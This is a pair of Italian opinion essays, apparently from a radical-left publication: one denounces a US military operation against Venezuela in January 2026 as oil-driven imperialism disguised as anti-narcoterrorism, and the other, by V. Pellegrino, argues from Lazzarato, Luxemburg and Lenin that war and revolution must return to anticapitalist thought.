Nel tempo, report e analisi istituzionali hanno ricostruito la progressiva intensificazione del regime sanzionatorio statunitense e le sue ricadute: restrizioni finanziarie, limiti sulle transazioni legate al governo e alla compagnia petrolifera statale, effetti indiretti su pagamenti, importazioni, assicurazioni, logistica. È importante dirlo senza giri di parole: quando tagli l’ossigeno economico a un paese, il bersaglio reale è la vita quotidiana.
La relatrice speciale ONU sulle misure coercitive unilaterali, dopo una visita in Venezuela, ha descritto l’impatto negativo delle sanzioni su economia e diritti e ha richiamato la necessità di valutare e rivedere misure che colpiscono la popolazione. Non è un dettaglio “umanitario” separato dalla politica: è la politica stessa quando diventa punizione economica per piegare una volontà collettiva.
In questa luce, il 3 gennaio 2026 non appare più come “evento improvviso”. Appare come l’ultimo gradino di una scala: prima la pressione economica, poi l’assedio finanziario, poi l’enforcement navale, poi la cornice securitaria, infine l’atto di forza diretto sulla capitale. È una continuità, non una rottura.
Il petrolio: la posta in gioco che spiega tutto
Sotto il suolo venezuelano si trova una delle più grandi riserve provate di greggio al mondo. L’Energy Information Administration statunitense indica per il 2023 circa 303 miliardi di barili di riserve provate, legate soprattutto alla Faja dell’Orinoco. I numeri variano in base a definizioni, qualità del greggio e recuperabilità economica, ma il punto geopolitico resta: il Venezuela è un rubinetto strategico. Qui la retorica occidentale mostra il suo rovescio. Quando ti dicono “democrazia”, spesso stanno dicendo “proprietà”. La domanda reale è una: chi decide del destino di quelle risorse, il popolo venezuelano o il complesso finanziario-militare con le sue compagnie energetiche? Ed è qui che la logica coloniale si svela: l’impero che ha saccheggiato mezzo mondo accusa Caracas di “rubare” petrolio e ricchezze che apparterrebbero agli Stati Uniti. È il rapinatore che grida al ladro mentre punta la pistola.
Per rendere digeribile un blitz militare su una capitale, serve una metamorfosi semantica: una guerra deve diventare un’operazione di polizia. È l’alchimia classica del dominio. Non stai facendo guerra: stai “ripristinando legalità”. Non stai violando sovranità: stai “proteggendo la sicurezza”. Non stai strangolando un popolo: stai “punendo i cattivi”. Nel caso venezuelano, l’etichetta madre è narcoterrorismo. È un termine comodo perché cancella la politica e lascia solo la caccia. Se l’altro è “narco”, non ha storia. Se l’altro è “terrorista”, non ha diritti. Se l’altro è “cartello”, non è un popolo: è un bersaglio. E qui entra in scena l’espressione più tossica: Cartel de los Soles.
Cartel de los Soles: una formula elastica che diventa categoria di eccezione
Prima ancora che politica, la questione è linguistica. “Cartello” evoca una struttura compatta, un comando unico, un organigramma. Ma molte letture critiche hanno osservato che “Cartel de los Soles” funziona soprattutto come etichetta ombrello: una formula che semplifica e compatta, trasformando un insieme di accuse e sospetti in un’entità monolitica. InSight Crime, ad esempio, ha spiegato come l’espressione venga spesso usata per descrivere presunte reti o segmenti coinvolti nel traffico, ma senza le caratteristiche chiare di un cartello unico e centralizzato; e ha anche sottolineato che il terreno dell’“antiterrorismo” non è automaticamente un’autorizzazione legale all’uso della forza.
Quel che rende la storia ancora più grave è la sua istituzionalizzazione. Il 25 luglio 2025, il Dipartimento del Tesoro statunitense, tramite OFAC, ha annunciato la sanzione del Cartel de los Soles come Specially Designated Global Terrorist, sostenendo che il gruppo sarebbe “guidato” da Maduro e altri alti funzionari e che fornirebbe supporto materiale a organizzazioni criminali designate. Nel comunicato, il Tesoro spiega anche che il nome deriverebbe dalle insegne “a sole” sulle uniformi di ufficiali militari venezuelani. Non stiamo discutendo la correttezza di un comunicato. Stiamo osservando un meccanismo.
Quando un governo decide di trasformare un’etichetta elastica in categoria d’eccezione, compie un atto politico: sposta il terreno del possibile. “Terrorista” non è un insulto. È una chiave amministrativa e culturale che apre sequestri, interdizioni, extraterritorialità, normalizzazione dell’eccezione. È il timbro che consente di raccontare la forza come “giustizia”.
C’è poi un elemento che merita attenzione proprio perché rompe lo schema “noi contro loro”. Alcune critiche molto dure alla narrazione del Cartel de los Soles non arrivano soltanto da fonti venezuelane o latinoamericane, ma anche da figure che hanno operato ai vertici del sistema internazionale antidroga. Pino Arlacchi, già direttore esecutivo dell’UNODC, ha definito questa narrazione una grande bufala e ha richiamato dati UNODC che collocano il Venezuela su valori marginali rispetto ai grandi teatri della coltivazione di coca, sostenendo che il paese non sarebbe un epicentro produttivo comparabile a Colombia, Perù e Bolivia.
Non si tratta di “assolvere” o di fare tifoserie. Si tratta di riconoscere una cosa: l’etichetta “cartello”, quando viene usata come categoria totale, tende a cancellare la complessità e a diventare un dispositivo retorico utile a rendere la guerra presentabile. E quando la parola diventa il grimaldello per bombardare e rapire, la questione smette di essere polemica: diventa difesa delle regole minime del mondo.
La scuola delle prove fabbricate: l’Iraq e il dovere della memoria
A questo punto il richiamo all’Iraq non è un paragone emotivo. È un dovere storico. Nel 2002-2003 la narrazione delle “armi di distruzione di massa” venne presentata come certezza. Poi arrivarono le conclusioni ufficiali: l’Iraq Survey Group, nel rapporto finale (Duelfer Report), concluse che non esistevano gli stockpile operativi invocati per giustificare l’invasione. Il Senato statunitense, con la sua inchiesta sull’intelligence prebellica, evidenziò valutazioni profondamente problematiche. La conseguenza non fu un errore neutro: fu un terremoto umano e geopolitico. Il punto, per il Venezuela, è semplice: quando una menzogna strategica funziona una volta, diventa opzione di sistema. Cambia l’etichetta, resta il metodo. Ieri WMD, oggi narcoterrorismo. Ieri “liberazione”, oggi “applicazione della legge”. Il risultato è lo stesso: la parola prepara il missile.
Il mare come cappio: quando l’enforcement diventa blocco
Il bombardamento e il sequestro sono l’atto più spettacolare, ma non sono l’unico livello. Il livello decisivo, spesso invisibile al grande pubblico, è marittimo. Il mare è il sistema circolatorio del pianeta: una quota enorme del commercio mondiale viaggia via nave. Controllare rotte, assicurazioni, pagamenti, porti e tanker significa poter strangolare un’economia senza dichiarare guerra.
Nei primi giorni di gennaio 2026, questo dispositivo ha assunto una forma apertamente armata: intercettazioni e sequestri di navi legate a traffici venezuelani, incluse operazioni che hanno coinvolto una petroliera connessa alla Russia e la reazione durissima di Mosca, che ha parlato di pirateria e violazione della legalità marittima. Qui la coercizione diventa procedura. L’interdizione armata viene raccontata come routine amministrativa. E il risultato è un mondo in cui l’eccezione è normalità: oggi una nave, domani una rotta, dopodomani un’intera economia. Quando trasformi il mare in un rubinetto politico, puoi decidere chi respira e chi soffoca.
È la forma più “pulita” del potere imperiale: non occupi, non annetti, non dichiari guerra; tagli ossigeno e aspetti che la società si stremi, poi ti presenti come “soluzione”. In questo senso, la dimensione navale non è un dettaglio tecnico. È la cintura che stringe il cappio.
Se si guarda la sequenza con freddezza, il quadro diventa nitido. Prima la demonizzazione. Poi l’assedio economico, che si giustifica come “pressione mirata” e in realtà colpisce il corpo sociale. Poi l’enforcement navale, che trasforma il commercio in un campo minato giuridico e militare. Poi la trasformazione retorica del conflitto in “operazione di polizia”. Infine la bomba e il sequestro. Questo è il cuore del dossier: Caracas non è solo Caracas. È un test. È la prova di quanto può essere spostata la soglia del possibile senza che il sistema internazionale reagisca in modo efficace.
Fine del diritto internazionale: la frattura che diventa sistema
La Carta ONU vieta l’uso della forza salvo legittima difesa da un’aggressione armata o autorizzazione del Consiglio di Sicurezza. Nel caso venezuelano, la giustificazione scivola nella retorica dell’“applicazione della legge” e del “narcoterrorismo”, ma il fatto resta: bombardamenti e prelievo coercitivo di un capo di Stato non sono diplomazia. Sono imposizione. Quando la forza pretende di diventare norma, il problema non è più il Venezuela soltanto. È il mondo. Perché il diritto internazionale, ridotto a manuale di buone maniere per i deboli, diventa una decorazione: vincolante solo per chi non può permettersi di violarlo. L’Europa, in queste dinamiche, spesso completa il quadro con il suo doppio standard. Se la stessa cosa la compie un “nemico”, si parla di aggressione; se la compie Washington, tutto si annacqua in formule prudenti. È una frattura morale che diventa pratica politica: le regole valgono solo quando non disturbano l’alleato principale.
Dal Venezuela al mondo: la casella Iran e la tentazione dell’incendio globale
L’aggressione al Venezuela non è un incidente locale. È un precedente che riallinea le placche. Se si può bombardare una capitale, sequestrare un presidente, trasformare un paese in “narco-Stato” e far scorrere l’operazione nel circuito dell’accettabile, allora la soglia del possibile si sposta ancora più in alto.
E la prossima casella, da tempo, è l’Iran. La memoria dell’Iraq non è un esercizio storico: è un avvertimento. Quando torna a circolare un lessico di urgenza, minaccia assoluta, inevitabilità, conviene ricordare che quel copione è già stato usato e che il prezzo umano lo pagano sempre i popoli. Anche la cronaca recente registra segnali di escalation: nel giugno 2025 Reuters ha riportato un attacco statunitense a siti nucleari iraniani, indicando una soglia già forzata. Il punto, qui, è sistemico: un impero in difficoltà non diventa automaticamente prudente. Spesso diventa aggressivo. E quando l’aggressività si combina con dottrine di supremazia, controllo marittimo e propaganda, la miccia può diventare globale. Il Doomsday Clock, in questo senso, non è un oracolo. È una metafora che si avvicina troppo alla cronaca.
Stare dalla parte giusta: internazionalismo dei popoli, non tifo per gli apparati
Di fronte a questo quadro sarebbe facile scivolare nel fatalismo o, al contrario, nel tifo geopolitico. Ma se l’asse morale resta il popolo, la risposta è più concreta di quanto sembri. Nel caso venezuelano significa difendere un principio elementare: le risorse di un popolo appartengono a quel popolo, non alla potenza che ha più portaerei, più basi e più canali televisivi. Significa pretendere una condanna chiara dell’aggressione e del precedente giuridico che istituisce. Significa chiedere la sospensione delle misure coercitive che colpiscono la popolazione. Significa sostenere reti di solidarietà, sindacati, movimenti, diaspora latinoamericana. Significa soprattutto smontare la propaganda: far vedere il petrolio dietro la morale, la dottrina Monroe dietro la legalità, la parola “cartello” dietro la guerra.
Difendere oggi il Venezuela significa difendere tutti, perché il messaggio che passa da Caracas è universale: chi prova a usare le proprie risorse naturali per la giustizia sociale può essere trasformato in “narco-Stato”, in “terrorista”, in minaccia alla sicurezza, e dunque in bersaglio legittimo. Se questo precedente passa senza risposta, l’impero non ottiene solo petrolio. Impone una nuova normalità: la violenza travestita da legalità, la menzogna elevata a dottrina, l’eccezione stabilizzata come regola.
Fonti principali
Bulletin of the Atomic Scientists sul Doomsday Clock.
#america #bolivariana #geopolitica #guerra #imperialismo #maduro #monroe #petrolio #trump #USA #venezuela
Reuters, Associated Press, Sole 24 Ore, House of Commons Library sulle ricostruzioni dell’operazione del 3 gennaio 2026.
U.S. Energy Information Administration sulle riserve petrolifere venezuelane.
UNESCO sulla campagna di alfabetizzazione.
ONU-HRC sulla valutazione degli effetti delle misure coercitive unilaterali.
InSight Crime sulla natura del Cartel de los Soles e sui profili giuridici della designazione.
U.S. Treasury/OFAC sulla designazione e sulle motivazioni ufficiali.
Duelfer Report e inchiesta del Senato USA sull’intelligence pre-Iraq.
Le Monde e comunicazioni/ricostruzioni su sequestri navali e reazioni russe.
Reuters sul fronte Iran (giugno 2025). -
CAPITALISMO – GUERRA – RIVOLUZIONE
Comprendere il presente per sovvertirlo
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di V. Pellegrino
Questa ragione di vivere: vincere.
Victor Serge
da “Memorie di un rivoluzionario”Ebbene sì, siamo ripiombati nel fascismo! E il fascismo, braccio politico dell’imperialismo, produce la guerra, il genocidio, la distruzione. Ma ciò che è ancor più grave e preoccupante in questo terrificante presente è la totale assenza di una prospettiva strategica di classe, in grado di porre la rivoluzione necessaria come obbiettivo concreto, perseguibile e perseguito. I livelli di atomizzazione a cui è stata spinta la società, attraverso la manipolazione algoritmica profonda, sono senza precedenti e le lotte, lungi dal convergere, si fanno sempre più frammentate e isolate, tra loro e in seno alla società. Le classi subalterne sono talmente soggiogate, da vecchie e nuove forme di controllo e di oppressione, da non essere in grado di sviluppare un pensiero critico autonomo, restando così prive degli strumenti necessari a produrre autocoscienza e spinta rivoluzionaria e, ancor più, capacità di autorganizzazione collettiva.
Tanto il concetto di guerra (in atto) quanto quello di rivoluzione (necessaria) sono stati completamente rimossi dal quadro del pensiero politico anticapitalista, con il risultato che non solo ci troviamo del tutto impotenti rispetto alla devastante realtà di fascismo e guerra che ci circonda, ma anche privi di una prospettiva di riscossa, di liberazione. Al di là della critica delle forme della politica, che ho cercato di sviluppare negli articoli che ho scritto per Rizomatica, e della proposta di un nuovo metodo politico fondato sulla democrazia diretta informatizzata, l’impasse, in cui si vede intrappolato il molteplice e disperso mondo anticapitalista, ha radici profonde. Radici direttamente connesse con la particolare linea di pensiero che, secondo le recenti tesi di Maurizio Lazzarato, a partire da Foucault e dalla sua analisi del neoliberalismo, basata sul concetto di biopolitica, è stata fatta propria dal mondo antagonista in tutto l’Occidente.
Nel tentativo, sempre velleitario – come deve essere ogni prospettiva rivoluzionaria – di rintracciare le carenze del pensiero critico occidentale, successivo al grande momento di rottura rappresentato dal 1968 e di rimettere al centro le nozioni di «guerra», come elemento strutturale del sistema capitalistico, e di «rivoluzione», come necessaria via di uscita dalla catastrofe verso la quale lo stato presente di cose ci sta precipitando e come avvio della costituzione di una società auspicabile, farò riferimento a un autore che, nella sua recente opera, mostra di avere un quadro analitico sufficientemente chiaro e condivisibile insieme a un barlume di prospettiva strategica: il già citato Maurizio Lazzarato.
Per meglio illustrare i nessi e i passaggi logici che utilizzerò in questo articolo, per dimostrare la necessità di attingere a prospettive critiche tralasciate dai movimenti e dal pensiero critico e tuttavia indispensabili a ricollocare la guerra, così come la rivoluzione, all’interno del quadro teorico interpretativo del sistema capitalistico, svolgerò un breve excursus storico nel tentativo di mettere in relazione le origini del capitalismo con l’attuale contesto politico, fortemente caratterizzato, sotto tutte le prospettive, da un evidente crinale paradigmatico.
Capitalismo
Il capitalismo è mutevole fin dalla sua origine. Più esattamente, le sue forme fenomeniche sono storicamente determinate. Se assumiamo che il suo significato è quello di un sistema economico basato sulla centralità del capitale e sul regime giuridico privatistico, il mercantilismo può correttamente definirsi come una prima forma di capitalismo, come un capitalismo di ventura. Fernand Braudel1 ne individua la vigenza in ambito europeo, dal XIV al XVIII secolo, un tempo particolarmente lungo, circa quattro secoli, durante il quale “nelle comunicazioni si assiste al trionfo dell’acqua e della nave, mentre le distese continentali rappresentano un ostacolo, una ragione di inferiorità.”
Con il progresso delle scoperte scientifiche e il conseguente sviluppo di nuove tecniche, tecnologie e macchinari, a partire dall’Inghilterra della seconda metà del XVIII secolo, si affermò in Europa, per poi raggiungere l’America del nord, la Rivoluzione industriale. In Occidente il capitalismo mutò pelle, trasformando la sua natura da mercantile a industriale: il profitto dell’imprenditore non proveniva più dai margini di guadagno derivanti dal processo commerciale che scambiava denaro con merci e queste a sua volta con altro denaro, sfruttando la differenza dei prezzi locali, ma dall’appropriazione del pluslavoro degli operai, in forma di plusvalore.
A partire dagli anni ’80 del secolo scorso, sotto la spinta di un’altra rivoluzione tecnologica, la Rivoluzione digitale, il capitalismo ha subito un’ulteriore profondissima trasformazione, da industriale a cognitivo2. Con questa trasformazione, a essere messo in produzione non è più tanto il corpo del lavoratore, la sua forza fisica, la sua motilità corporea, ma la sua mente, le sue capacità linguistiche, comunicative, affettive, cognitive in genere. Questa nuova fase del capitalismo occidentale è stata inizialmente indicata con il termine postfordismo, come “ciò che emerge dopo il fordismo”, a indicare l’assetto produttivo di beni materiali derivante dalla massiccia automazione della catena di montaggio, con la sostituzione pressoché integrale del lavoro operaio con quello di robot e la tendenziale riduzione dell’attività umana a funzioni di mero controllo e supervisione del ciclo produttivo.
L’automazione della produzione dei beni fisici e la contestuale, crescente smaterializzazione della produzione (dove il valore dei beni immateriali, cioè dei servizi in senso ampio – dall’industria dell’intrattenimento ai sistemi sanitari, dal turismo alla scuola e all’università – ha da tempo superato quello della produzione industriale), hanno visto il passaggio del controllo capitalistico dal corpo alla mente del lavoratore. Mentre nella tradizionale produzione industriale il rapporto tra capitale e lavoro era di natura conflittuale e le due componenti costituivano delle reciproche controparti, la produzione immateriale richiede la piena adesione del lavoratore ai fini d’impresa; esso è cooptato nelle funzioni di controllo, direzione e comando dell’impresa che lo spingono verso una pressoché totale autonomia operativa e nel contempo a una auto-responsabilizzazione rispetto ai risultati. La cooperazione sociale, con il suo immenso patrimonio naturale rappresentato dal general intellect, rimpiazza così le funzioni di organizzazione della produzione proprie dell’imprenditore-capitalista, poi del manager, con l’ulteriore accentuazione della loro natura parassitaria. Questo cruciale passaggio dal sistema fordista a quello postfordista è stato accompagnato da un pervasivo processo di finanziarizzazione dell’economia, che ha reso possibile la deterritorializzazione del capitale, la sua tendenziale globalizzazione3. Ciò a sua volta ha determinato un’enorme concentrazione dei flussi di rendita e profitto con l’annientamento del tessuto produttivo basato su piccole e medie aziende (con effetti particolarmente gravi in un paese come l’Italia il cui tessuto produttivo è da sempre caratterizzato da aziende di piccole e medie dimensioni) a favore di imprese multinazionali, quasi tutte statunitensi, a forte impronta monopolistica.
A partire dai primi anni del nuovo millennio, con la nascita nel 2005 del così detto web 2.0, internet subisce una radicale trasformazione, passando a essere da strumento unilaterale (l’informazione va dal sito all’utente) a interattivo (scambio incessante di informazione sito-utente, utente-sito). È sulla base di questa innovazione tecnologica che nascono le piattaforme digitali, stack informatici di tipo interattivo dove, su di una base informatica dall’architettura definita dai loro proprietari, si trovano a operare gli utenti (users) che, in tal modo divengono prosumers cioè, allo stesso tempo, produttori e consumatori di informazione. Sulla natura insieme volontaria e gratuita di questa attività di produzione in rete ha scritto Tiziana Terranova nel suo Free Labor: Producing Culture for the Digital Economy che ho già avuto modo di richiamare in altre occasioni nei miei precedenti articoli usciti su questa rivista.
Nel capitalismo delle piattaforme, il lavoro volontario e gratuito di miliardi di utenti produce i contenuti dei vari social network che si contendono l’attenzione e l’azione (produttiva) degli utenti della rete a scopi di profilazione e vendita di inserzioni pubblicitarie. Sulla base di questo immenso, automatizzato lavoro di tracciamento, sono prodotti i così detti big data, vale a dire enormi banche di dati tanto massivi quanto personali: se da un lato è saliente il dato statistico generale (la percentuale di gradimento di un certo bene, per esempio), tecnicamente definiti dati aggregati, è altrettanto rilevante l’identità associata a ogni specifico dato, cosicché sia possibile inviare messaggi pubblicitari personalizzati ai singoli utenti della rete. I dati in sé divengono una risorsa economica che viene estratta, raffinata (trasformazione del dato grezzo in dato aggregato) e scambiata sul mercato.
Ovviamente, l’aspetto economico connesso alla sistematica raccolta dei dati prodotti (con la diffusione capillare dello smartphone anche nei paesi più poveri) dalla quasi totalità della popolazione mondiale, è quello che, pur di non immediata evidenza, è di dominio pubblico e può essere studiato da ricercatori ed economisti. Ma è il libero e sistematico accesso, in tempo reale, a questa enorme disponibilità di dati da parte degli apparati militari e polizieschi di Stato che più impatta in termini politici, per le sue funzioni di controllo e repressione sociale, anche preventive.
Un ulteriore, decisivo, salto qualitativo nella natura del capitalismo si ha con la recente massificazione dell’uso di quella che viene definita, con un’enorme forzatura epistemica, Intelligenza artificiale. Come considerazione preliminare vi è infatti da dire che l’AI non ha proprio nulla dell’intelligenza animale, di cui fa parte quella umana, fondata sull’inferenza logico-deduttiva, cioè sulla pregnanza. L’AI non è altro che una elaborazione di natura statistica, in tempo pressoché reale, di enormi masse di dati (i così detti LLM Large Language Model) attraverso cui è possibile estrapolare apparenti risposte ai quesiti e/o ai compiti che le si pone. La natura del suo funzionamento non è la pregnanza bensì la salienza (Paolo Vignola – intervento al Seminario “Baite filosofiche” di Lecco).
Sull’onda di questo stravolgimento del concetto di intelligenza, in un articolo ormai celebre uscito su Wired nel lontano 2008 con il titolo The End of Theory: The Data Deluge Makes the Scientific Method Obsolete, Chris Anderson, allora caporedattore della nota rivista di informatica, annunciava in toni entusiastici che, per effetto del progressivo sviluppo della capacità di calcolo e della crescente mole di dati disponibili, lo stesso metodo scientifico, basato sulla formulazione di teorie la cui validità andava comprovata in forma sperimentale, poteva dirsi ormai obsoleto: non è più necessario affinare una teoria per spiegare i fenomeni del mondo, è sufficiente osservarli in modo massivo ricavandone dei modelli (modellazione matematica). Al metodo della teorizzazione può così essere sostituito quello della modellazione. Si possono solo vagamente immaginare, specialmente in termini di prospettiva, le enormi implicazioni che questa trasformazione è in grado di produrre, con il tendenziale abbandono non solo del concetto di scienza e del suo assetto epistemologico ma dello stesso apparato gnoseologico e, con essi, del metodico esercizio dell’intelligenza umana, che ha caratterizzato sino a oggi l’evoluzione della nostra specie fin dalle sue origini, e lo stesso dato esistenziale.
I primi evidenti segni di questa profondissima trasformazione antropologica sono identificati da Bernard Stiegler attraverso il concetto di proletarizzazione dei saperi4, dove l’articolata e complessa attività di progettazione di oggetti, strumenti, programmi, che implicava lo sviluppo di specifiche professionalità e rispettive scuole, è resa superflua dalla capacità di modellazione propria dell’AI.
Tutte le trasformazioni tecnologiche hanno portato e portano a un aumento della produttività, anzi esse sono state introdotte a questo specifico scopo. Tale incremento, attraverso l’azione politica neoliberalista, è stato interamente appropriato dal capitale; nulla è stato redistribuito alla società sotto forma di riduzione generalizzata del tempo di lavoro, disattendendo così in modo clamoroso e totale le previsioni che uno dei più importanti economisti del secolo scorso, John Maynard Keynes, aveva formulato nel suo Prospettive economiche per i nostri nipoti5. Attribuire per questo ingenuità politica a Keynes non ha molto senso dal punto di vista storico ma questo suo clamoroso errore di previsione certamente evidenzia come l’economista teorico dello stato sociale avesse una considerazione sostanzialmente positiva del capitalismo, ritenendolo un sistema in grado di autoemendarsi. Meglio, è forse proprio nella capacità della Politica di perseguire l’interesse collettivo, anche attraverso la civilizzazione del capitalismo rispetto alla sua forma più primitiva e selvaggia, che Keynes riponeva la sua fiducia. Il secolo di avvenimenti che ci separa da quell’ottimistica previsione dimostra in modo inequivocabile quanto Keynes si sbagliasse sulla natura politica del capitalismo e sul carattere della politica in regime capitalistico: sono questa natura e questo carattere, infatti, ad aver storicamente forgiato le concrete forme economiche, sociali, giuridiche del capitalismo stesso.
Colonialismo e imperialismo
La storia dell’Occidente moderno è segnata da due fattori-chiave: la nascita del metodo scientifico e lo slancio verso la conquista di nuovi territori da sfruttare, insieme alle loro popolazioni. Fin dalla sua origine, il colonialismo si è presentato come il dispiegamento di un coagulo di interessi diversi; ad agire è stata la macchina Stato-capitale, un binomio inscindibile, una sorta di simbiosi6. Dietro gli eserciti di conquista, entravano in azione le compagnie commerciali: “La Compagnia delle Indie” è la denominazione generale dietro la quale sono nate e hanno operato numerosissime società commerciali a cui diversi paesi colonizzatori, nel corso del XVII secolo, hanno affidato il monopolio dello sfruttamento commerciale delle proprie colonie. La forza devastatrice e appropriatrice operava, cioè, attraverso la sinergia dell’interesse politico (gli Stati) e di quello economico (le società commerciali).
Tale modello operativo e rimasto attivo anche nel passaggio dal colonialismo propriamente detto al neocolonialismo e all’imperialismo. Se il grande processo di decolonizzazione avviato tra le due guerre mondiali ha visto il nascere, nelle ex-colonie, di Stati politicamente indipendenti, la loro dipendenza e la sottomissione economica, e quindi politica, dai paesi colonizzatori di fatto non è mai cessata. Dopo la Seconda Guerra mondiale, l’imperialismo americano ha progressivamente sottratto alle ex potenze europee le rispettive aree di dominio, dando agli Stati Uniti, grazie al loro super esercito e al signoraggio della loro moneta, l’egemonia globale.
Da questo quadro si comprende bene come l’appropriazione del pluslavoro operaio da parte del capitalista sia solo una delle forme, quella studiata e criticata dall’opera di Karl Marx, attraverso le quali l’accumulazione del capitale si è data storicamente. Senza il lavoro schiavistico nelle colonie, senza il lavoro gratuito delle donne in ogni tempo e in ogni dove, senza lo sfruttamento del lavoro minorile e dei razzializzati, le spettacolari diseguaglianze7 che caratterizzano il passato e ancor più il presente del nostro mondo, non avrebbero potuto darsi.
Nel suo “Guerra e moneta. Imperialismo del dollaro, neoliberalismo, rotture rivoluzionarie”, Maurizio Lazzarato, attraverso un’analisi disincantata e radicale, ci riporta con i “piedi per terra” rispetto a chiavi di lettura del presente che, prima con Foucault, poi con Deleuze e i molti loro epigoni, si sono concentrate sull’analisi del neoliberalismo attraverso il concetto di biopolitica. Lazzarato ci mostra come il neoliberalismo sia vigente solo in periodi di tregua nei conflitti di natura geopolitica tra differenti macchine Stato-capitale che tendono, ognuna, a espandersi senza limiti, a scapito e in concorrenza tra loro. La lunga fase neoliberalista, relativamente pacifica, che si è data in Occidente dalla fine degli anni ’70, si è oggi conclusa, lasciando nuovamente l’iniziativa al potere politico degli Stati nella direzione della preparazione di un nuovo conflitto su scala globale.
Il capitalismo ideale, economico, basato sulla concorrenza pura, immaginato da Adam Smith e da David Ricardo e oggetto della critica marxiana, non esiste nella realtà. Il capitalismo reale non crollerà a causa della caduta tendenziale del saggio di profitto, come prevedeva Marx. Anziché la concorrenza perfetta, ad affermarsi nella storia sono stati invece il monopolio e l’oligopolio, il trust e il cartello, cioè fenomeni economicamente spuri, dove a essere determinante è la dimensione politica. Invece di essere un “processo senza soggetto” (Luis Althusser), l’accumulazione è il risultato di una precisa strategia politico-militare. Già Rosa Luxemburg definiva l’imperialismo come il dispositivo che tiene insieme l’azione economica (il capitale) e l’azione politico-militare (lo Stato)8.
Nella stessa opera, a p. 54, Lazzarato riporta una citazione da Rosa Luxemburg nella quale è espressa una critica teorico-politica, di fondamentale importanza per il nostro presente, al pensiero di Marx: “Marx aveva sviluppato la sua analisi dell’accumulazione in un’epoca in cui l’imperialismo non era ancora emerso sulla scena mondiale; l’ipotesi sulla quale riposava l’analisi di Marx, l’egemonia definitiva e assoluta del capitale nel mondo, esclude a priori il processo dell’imperialismo.”, nel quale invece lo Stato – quello egemone, nel nostro caso quello statunitense – gioca un ruolo chiave. Per calarci nel nostro immediato presente: Musk (il capitale) ha bisogno di Trump (lo Stato), così come Trump ha bisogno di Musk9.
È dentro la prima globalizzazione, quella esaminata da Karl Polanyi nel suo “La grande trasformazione” e studiata e criticata da R. Luxemburg, che il capitale dimostra di non poter esercitare “un dominio assoluto ed esclusivo”: esso ha bisogno dello Stato per sopravvivere e prosperare. Da questo “errore” marxiano (più che di un errore, si tratta di un limite storico – verrà sempre troppo tardi il momento in cui smetteremo di tirare per la giacca il barbuto di Treviri!) deriverebbe tutta una serie di carenze analitiche, tanto relative al passato quanto più al presente, questo presente di guerra.
I principali limiti del pensiero critico dal ’68 in poi, originati proprio dallo specifico orizzonte storico – preimperialista – nel quale si è prodotta l’opera marxiana, e riflettentisi nell’analisi della realtà di Foucault, fatta propria poi da Deleuze e da Negri a partire dal concetto di biopolitica, hanno prodotto una vera e propria rimozione della guerra e della rivoluzione come elementi imprescindibili della realtà storica e politica. Secondo Lazzarato, la mondializzazione non è quella descritta da Negri e Hardt in Impero. Egli scrive:
“La mondializzazione si sta riconfigurando secondo logiche politiche (non economiche) (tra macchine Stato-capitale alleate contro altre macchine diversamente alleate e quindi nemiche), come in realtà è sempre stato. La guerra fa risaltare chiaramente il ruolo dello Stato nel funzionamento del “mercato” e dell’economia. Nella crisi e soprattutto nella guerra, il rapporto costitutivo della macchina bicefala Stato-capitale si sbilancia a favore del primo. È il primo termine che prende violentemente il sopravvento sul secondo. Non è il mercato che distribuisce risorse secondo le leggi dell’economia, ma lo Stato che decide cosa e a chi si può esportare, dove e come si può produrre, come e quanto si deve spendere (privilegiare gli investimenti per gli armamenti, ridurre le spese e i diritti sociali ecc.), secondo le leggi della politica e della potenza. Così anche le merci, e soprattutto la tecnologia e la scienza, si scoprono avere una «patria».”
Sulla figura di Lenin, Lazzarato, a p. 80 di Guerra e moneta così si esprime: “I poveri di spirito (e ce ne sono molti!) considerano Lenin un «cane morto». Noi invece lo consideriamo un teorico non solo della rivoluzione ma anche del capitalismo, perché con il concetto di imperialismo, malgrado tutte le debolezze teoriche che vi si possono rilevare, enuclea con sicurezza politica quattro caratteristiche che si ritrovano pure nell’imperialismo sofisticato del dollaro10. Lenin e i rivoluzionari dell’epoca sono da studiare anche per un’altra ragione. La miseria del pensiero critico contemporaneo è costretta a riferirsi alla «geopolitica» per cercare di capire ciò che succede a livello di mercato mondiale con la guerra. La geopolitica è una disciplina istituzionale che riduce il capitalismo a rapporti tra Stati, spogliandoli della loro natura di lotta tra le classi e di lotta tra Stati a partire dall’accumulazione del capitale e dall’accumulazione di potenza. Per sfuggire dai limiti della geopolitica e riportare le strategie che si organizzano dentro la mondializzazione alle lotte di classe, Lenin può essere ancora molto utile.”
Guerra
Come ci indica Maurizio Lazzarato nei suoi più recenti lavori, i primi a svolgere una critica di classe all’imperialismo furono Rosa Luxemburg e Lenin, che poterono assistere al suo dispiegamento nel corso della Prima Guerra mondiale, durante la quale l’enorme devastazione di uomini e di risorse fu attuata proprio attraverso la macchina Stato-capitale. La potenza (dello Stato) e il profitto (del capitale) sono stati i due fattori che, congiungendosi e intrecciandosi in modo indissolubile, hanno precipitato il mondo nella prima guerra combattuta su scala planetaria.
La guerra si presenta, allora come oggi, come un potente fattore di socializzazione della produzione, la quale resterà da ciò per sempre segnata. La socializzazione della produzione in funzione della guerra determina l’identità e la reversibilità di produzione e distruzione: si tratta della produzione (di armi) per la distruzione (del nemico, statuale o di classe). “Il «general intellect» nasce militarizzato perché si sviluppa durante e grazie alle due guerre mondiali. La sussunzione della società al capitale e lo sviluppo del general intellect nascono nella e dalla guerra e ne saranno anche loro segnati per sempre. È ormai impossibile separare l’economico, lo scientifico, il tecnologico dal militare.”
Dal punto di vista analitico: “La rimozione dell’imperialismo significa l’esclusione della guerra, dei monopoli e dello Stato dal funzionamento del capitalismo. Il monopolio e la concorrenza tra imperialismi, con la conseguente corsa agli armamenti, costituiscono invece i processi di centralizzazione del comando sul lavoro nel mercato mondiale. Ma l’imperialismo è soprattutto una nuova fase dello scontro di classe, la fase della rivoluzione mondiale in cui i «popoli oppressi» e non più la classe operaia giocano un ruolo centrale. C’è un doppio salto rispetto a Marx, uno riguarda il capitalismo (non concorrenziale), l’altro la rivoluzione (non operaia).”
Durante la guerra, è il potere esecutivo, quello dei governi, che prende il sopravvento: il potere degli esecutivi, non quello degli Stati maggiori degli eserciti, è infatti in grado di mobilitare l’intera nazione e di fargli così adottare una particolare economia e produzione. Qui è impossibile non vedere l’immediata correlazione, nel presente, con il progetto ReArm Europe e con la New U.S. National Security Strategy.
